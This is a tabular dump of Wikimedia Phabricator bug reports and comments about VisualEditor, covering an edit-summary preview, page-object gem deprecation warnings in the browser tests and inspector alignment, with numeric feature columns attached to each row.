200638,VisualEditor: Internal page links touched by VisualEditor contain underscores,Possibly a Parsoid issue?,,,1353018108,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wydq63k4j2l2fgeenwfb,task_subcomment,,True,c1,0,True,,,-33,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,40.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,4.4,1.0,Possibly a Parsoid issue?
44139,VisualEditor: There is not preview of edit summaries (which are wikitext) - show it in the wikitext diff?,"The current VisualEditor interface has a ""Save page"" dialog box with an edit summary input field. However, this edit summary input field accepts wikitext, but has no preview feature for what the rendered wikitext will look like. This is a regression from the standard (non-VisualEditor) interface.

Roan said that there be a mini-editor or mini-parser or something stuck in the edit summary area at some point.

**See Also**: {T62535}",Medium,50.0,1352957640,1392853679.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-f4bx3pmct7c24xmmqmka,task_description,resolved,True,c1,0,False,False,False,-33,,1.0,1.0,0.0,0.0,0.0,5.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,7.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,2.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,29.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,11.0,1.0,3.0,13.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,2.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,3.9148936170212765,0.7127659574468085,"The current VisualEditor interface has a ""Save page"" dialog box with an edit summary input field. However, this edit summary input field accepts wikitext, but has no preview feature for what the rendered wikitext will look like. This is a regression from the standard (non-VisualEditor) interface.

Roan said that there be a mini-editor or mini-parser or something stuck in the edit summary area at some point.

**See Also**: {T62535}"
200597,VisualEditor: There is not preview of edit summaries (which are wikitext) - show it in the wikitext diff?,"Change 112490 merged by jenkins-bot:
Show preview of edit summary in review screen

https://gerrit.wikimedia.org/r/112490",,,1392851241,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-f4bx3pmct7c24xmmqmka,task_subcomment,,True,c1,3,False,,,33,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,37.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,16.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.368421052631579,1.0,"Change 112490 merged by jenkins-bot:
Show preview of edit summary in review screen

GERRIT_URL"
200592,VisualEditor: There is not preview of edit summaries (which are wikitext) - show it in the wikitext diff?,"Change 112490 had a related patch set uploaded by Alex Monk:
Show preview of edit summary in review screen

https://gerrit.wikimedia.org/r/112490",,,1392057409,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-f4bx3pmct7c24xmmqmka,task_subcomment,,True,c1,3,False,,,32,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,22.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.391304347826087,1.0,"Change 112490 had a related patch set uploaded by Alex Monk:
Show preview of edit summary in review screen

GERRIT_URL"
200585,VisualEditor: There is not preview of edit summaries (which are wikitext) - show it in the wikitext diff?,"To clarify, when the diff is shown ('Review your changes' dialog pane) we want to parse the entered summary and display it, probably above the diff.",,,1392053170,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-f4bx3pmct7c24xmmqmka,task_subcomment,,True,c1,3,True,,,32,,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,6.0,9.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,6.0,3.0,3.0,9.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,6.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.727272727272727,0.8484848484848485,"To clarify, when the diff is shown ('Review your changes' dialog pane) we want to parse the entered summary and display it, probably above the diff."
200579,VisualEditor: There is not preview of edit summaries (which are wikitext) - show it in the wikitext diff?,"(In reply to comment #1)
> As Max says, to be resolved by the dialog being a mini-VE surface.

So this has been assigned to me but I think I need a few pointers. Firstly, where can I find the code for mini-surfaces?",,,1392042811,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-f4bx3pmct7c24xmmqmka,task_subcomment,,True,c1,3,True,,,32,,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,10.0,0.0,8.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,8.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,2.0,18.0,2.0,2.0,8.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,10.0,10.0,0.0,2.0,0.0,0.0,10.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,3.125,0.925,"(In reply to comment #1)
QUOTE

So this has been assigned to me but I think I need a few pointers. Firstly, where can I find the code for mini-surfaces?"
200572,VisualEditor: There is not preview of edit summaries (which are wikitext) - show it in the wikitext diff?,"From Bug 53729:
A De.WP user suggested to include a preview for the edit summary. Report:

https://de.wikipedia.org/w/index.php?title=Wikipedia:Technik/Text/Edit/VisualEditor/Beta2013-07&oldid=122207411#Vorschau_f.C3.BCr_Zusammenfassung_und_Quellen",,,1380545717,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-f4bx3pmct7c24xmmqmka,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,29.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,0.9166666666666666,"From Bug 53729:
A De.WP user suggested to include a preview for the edit summary. Report:

URL"
200567,VisualEditor: There is not preview of edit summaries (which are wikitext) - show it in the wikitext diff?,*** Bug 53729 has been marked as a duplicate of this bug. ***,,,1380545659,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-f4bx3pmct7c24xmmqmka,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 53729 has been marked as a duplicate of this bug. ***
200560,VisualEditor: There is not preview of edit summaries (which are wikitext) - show it in the wikitext diff?,"User:Elizium23 at en.wp comments that the current save dialog ""permits entry of an edit summary with newlines, however, no newlines are preserved in the edit summary when it is saved to the Wiki. This is confusing, because I just used a WYSIWYG editor, but what I see in the edit summary is not what I get.""

While, AIUI, the current dialog is only temporary the issue of newlines (and presumably bold, italic, etc) will be applicable to the new ""surface"" unless that doesn't permit these features or edit summaries are upgraded to support them.",,,1373483224,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-f4bx3pmct7c24xmmqmka,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,2.0,2.0,6.0,2.5,0.5,0.0,1.0,1.5,1.0,0.0,1.0,0.0,2.0,0.0,5.0,8.5,0.0,1.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,7.0,0.5,0.5,0.5,0.0,0.0,0.0,1.0,0.0,0.5,1.0,0.0,0.5,0.0,1.5,0.5,0.0,0.5,14.5,1.5,1.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,5.5,5.0,6.0,3.5,2.5,8.5,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,3.5,8.5,2.0,0.0,3.0,0.0,3.5,0.0,2.0,1.0,1.0,0.0,0.0,0.0,1.0,3.9388989715668483,0.8002117362371446,"User:Elizium23 at en.wp comments that the current save dialog ""permits entry of an edit summary with newlines, however, no newlines are preserved in the edit summary when it is saved to the Wiki. This is confusing, because I just used a WYSIWYG editor, but what I see in the edit summary is not what I get.""

While, AIUI, the current dialog is only temporary the issue of newlines (and presumably bold, italic, etc) will be applicable to the new ""surface"" unless that doesn't permit these features or edit summaries are upgraded to support them."
200553,VisualEditor: There is not preview of edit summaries (which are wikitext) - show it in the wikitext diff?,"Per bug 51125 (which has been merged into this one), we should show the edit summary if provided in the ""Review your changes"" tab",,,1373481003,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-f4bx3pmct7c24xmmqmka,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,14.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,7.0,3.0,0.0,14.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,7.0,14.0,3.0,0.0,7.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6551724137931036,0.9310344827586207,"Per bug 51125 (which has been merged into this one), we should show the edit summary if provided in the ""Review your changes"" tab"
200546,VisualEditor: There is not preview of edit summaries (which are wikitext) - show it in the wikitext diff?,*** Bug 51125 has been marked as a duplicate of this bug. ***,,,1373480869,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-f4bx3pmct7c24xmmqmka,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51125 has been marked as a duplicate of this bug. ***
200538,VisualEditor: There is not preview of edit summaries (which are wikitext) - show it in the wikitext diff?,"As Max says, to be resolved by the dialog being a mini-VE surface.",,,1353018028,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-f4bx3pmct7c24xmmqmka,task_subcomment,,True,c1,0,True,,,-33,,0.0,0.0,0.0,6.0,0.0,18.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,18.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,18.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.176470588235294,1.0,"As Max says, to be resolved by the dialog being a mini-VE surface."
56590,page-object Ruby gem deprecation warnings in VisualEditor browser tests,"this is like bug 46893.

 $ cd extensions/VisualEditor/modules/ve-mw/test/browser
 $ bundle exec cucumber features/visual_editor_bullets.feature

If the tests progress, eventually they print out a lot of

*** DEPRECATION WARNING
*** You are calling a method named class_name at /home/spage/projects/core/extensions/VisualEditor/modules/ve-mw/test/browser/features/step_definitions/visual_editor_bullets_steps.rb:81:in `block in <top (required)>'.
*** This method does not exist in page-object so it is being passed to the driver.
*** This feature will be removed in the near future.
*** Please change your code to call the correct page-object method.
*** If you are using functionality that does not exist in page-object please request it be added.

*** DEPRECATION WARNING
*** You are calling a method named select_text at /home/spage/projects/core/extensions/VisualEditor/modules/ve-mw/test/browser/features/step_definitions/visual_editor_bullets_steps.rb:14:in `block in <top (required)>'.
*** [same last 4 lines]

The lines deprecated by the former are all of the form
  SOME_element.class_name.{should, should_not} match /disabled/
where the HTML has CSS class=""ve-ui-widget ve-ui-tool ve-ui-tool-outdent ve-ui-widget-disabled"".  I don't know the page-object equivalent to retrieving the CSS class (attribute( 'class' ), but maybe instead the code could use page-object's disabled? and enabled? methods.

The latter deprecation is odd since the test specifically requires ""watir-webdriver/extensions/select_text""

--------------------------
**Version**: wmf-deployment
**Severity**: normal
**Whiteboard**: gci2013 https://www.mediawiki.org/wiki/Google_Code-In#Candidate_tasks",Low,25.0,1380084600,1414406388.0,PHID-USER-gbl4hfak3cfurt3c7skd,False,,False,PHID-TASK-al543vpnemdlnqyld3n4,task_description,resolved,True,c1,3,False,False,False,12,,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,6.333333333333333,1.0,0.0,0.0,0.3333333333333333,1.0,1.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,2.3333333333333335,4.333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,3.0,0.3333333333333333,0.0,1.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,2.6666666666666665,0.0,0.3333333333333333,0.0,0.0,0.0,19.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,4.333333333333333,1.3333333333333333,6.333333333333333,1.0,0.6666666666666666,5.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,1.0,0.0,1.0,4.333333333333333,5.0,0.6666666666666666,2.3333333333333335,0.0,1.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.6666666666666666,0.0,0.0,1.0,3.9007458405048765,0.6573914706444827,"this is like bug 46893.

 $ cd extensions/VisualEditor/modules/ve-mw/test/browser
 $ bundle exec cucumber features/visual_editor_bullets.feature

If the tests progress, eventually they print out a lot of

*** DEPRECATION WARNING
*** You are calling a method named class_name at /home/spage/projects/core/extensions/VisualEditor/modules/ve-mw/test/browser/features/step_definitions/visual_editor_bullets_steps.rb:81:in CODEblock in <top (required)>'.
*** [same last 4 lines]

The lines deprecated by the former are all of the form
  SOME_element.class_name.{should, should_not} match /disabled/
where the HTML has CSS class=""ve-ui-widget ve-ui-tool ve-ui-tool-outdent ve-ui-widget-disabled"".  I don't know the page-object equivalent to retrieving the CSS class (attribute( 'class' ), but maybe instead the code could use page-object's disabled? and enabled? methods.

The latter deprecation is odd since the test specifically requires ""watir-webdriver/extensions/select_text""

--------------------------
**Version**: wmf-deployment
**Severity**: normal
**Whiteboard**: gci2013 URL"
257733,page-object Ruby gem deprecation warnings in VisualEditor browser tests,"After a quick look at VisualEditor Jenkins jobs[0], looks like this is fixed. Please reopen if you see the problem again.

0: https://integration.wikimedia.org/ci/view/BrowserTests/view/VisualEditor/",,,1414406388,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-al543vpnemdlnqyld3n4,task_subcomment,,True,c1,3,True,,,69,,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,17.0,3.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,3.0,14.0,10.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.7241379310344827,0.9655172413793104,"After a quick look at VisualEditor Jenkins jobs[0], looks like this is fixed. Please reopen if you see the problem again.

0: URL"
257727,page-object Ruby gem deprecation warnings in VisualEditor browser tests,"(In reply to Chris McMahon from comment #4)
> Cheezy actually fixed this but hasn't updated the page-object gem yet
> https://github.com/cheezy/page-object/issues/192

Željko / Chris: Is this still a valid ticket one year after? Has Cheezy updated it in the meantime or is this still a task suitable for new contributors?",,,1414345430,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-al543vpnemdlnqyld3n4,task_subcomment,,True,c1,3,True,,,68,,0.0,0.0,0.0,0.0,0.0,6.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,10.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,21.0,0.0,2.0,10.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,2.0,10.0,12.0,4.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.6458333333333335,0.8541666666666666,"(In reply to Chris McMahon from comment #4)
QUOTE
QUOTE

Željko / Chris: Is this still a valid ticket one year after? Has Cheezy updated it in the meantime or is this still a task suitable for new contributors?"
257721,page-object Ruby gem deprecation warnings in VisualEditor browser tests,"If you need more information (and you probably do), feel free to ask questions
here, at #wikimedia-qa freenode IRC channel or at QA mailing list:

https://lists.wikimedia.org/mailman/listinfo/qa",,,1386004101,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-al543vpnemdlnqyld3n4,task_subcomment,,True,c1,3,True,,,22,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,6.0,11.0,11.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.5277777777777777,0.9166666666666666,"If you need more information (and you probably do), feel free to ask questions
here, at #wikimedia-qa freenode IRC channel or at QA mailing list:

URL"
257714,page-object Ruby gem deprecation warnings in VisualEditor browser tests,Cheezy actually fixed this but hasn't updated the page-object gem yet https://github.com/cheezy/page-object/issues/192,,,1382721432,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-al543vpnemdlnqyld3n4,task_subcomment,,True,c1,3,False,,,16,,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,13.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.133333333333334,1.0,Cheezy actually fixed this but hasn't updated the page-object gem yet URL
257706,page-object Ruby gem deprecation warnings in VisualEditor browser tests,See also bug 46893,,,1382712015,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-al543vpnemdlnqyld3n4,task_subcomment,,True,c1,3,True,,,16,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,1.0,See also bug 46893
257697,page-object Ruby gem deprecation warnings in VisualEditor browser tests,"And here:

https://wmf.ci.cloudbees.com/job/VisualEditor-test2.wikipedia.org-linux-firefox/119/console",,,1382711956,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-al543vpnemdlnqyld3n4,task_subcomment,,True,c1,3,True,,,16,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.6,1.0,"And here:

URL"
257689,page-object Ruby gem deprecation warnings in VisualEditor browser tests,"Still not fixed:

https://wmf.ci.cloudbees.com/view/r-ve/job/VisualEditor-test2.wikipedia.org-linux-chrome/96/console",,,1382711467,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-al543vpnemdlnqyld3n4,task_subcomment,,True,c1,3,True,,,16,,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1666666666666665,1.0,"Still not fixed:

URL"
56586,VisualEditor: Allow inspectors to be left-aligned?,"Non-embedded inspectors are generally positioned to the bottom right of the node they're inspecting. In cases where we're dynamically altering the node, however (like the live preview feature for math), it probably makes more sense to position that kind of inspector at the bottom left. Then if the dimensions of the node change, the inspector will move around a bit less.

Thoughts? Other ideas to tackle this issue?

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1380073020,1442494980.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,PHID-USER-it53o2f2kyryqyj33uzt,False,PHID-TASK-vnxcxik6c5qmqlw52xaj,task_description,resolved,True,c1,3,False,False,False,12,,0.0,0.0,0.0,0.5,0.0,6.5,0.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.5,0.5,4.5,7.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,2.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,4.0,0.0,0.0,0.0,0.0,0.0,13.5,0.0,1.5,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,7.0,0.5,6.0,1.5,0.0,8.5,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,1.5,7.0,1.0,2.0,0.0,0.0,1.5,0.0,0.5,1.0,0.0,1.0,1.5,0.0,0.0,4.235294117647059,0.7715686274509803,"Non-embedded inspectors are generally positioned to the bottom right of the node they're inspecting. In cases where we're dynamically altering the node, however (like the live preview feature for math), it probably makes more sense to position that kind of inspector at the bottom left. Then if the dimensions of the node change, the inspector will move around a bit less.

Thoughts? Other ideas to tackle this issue?

--------------------------
**Version**: unspecified
**Severity**: enhancement"
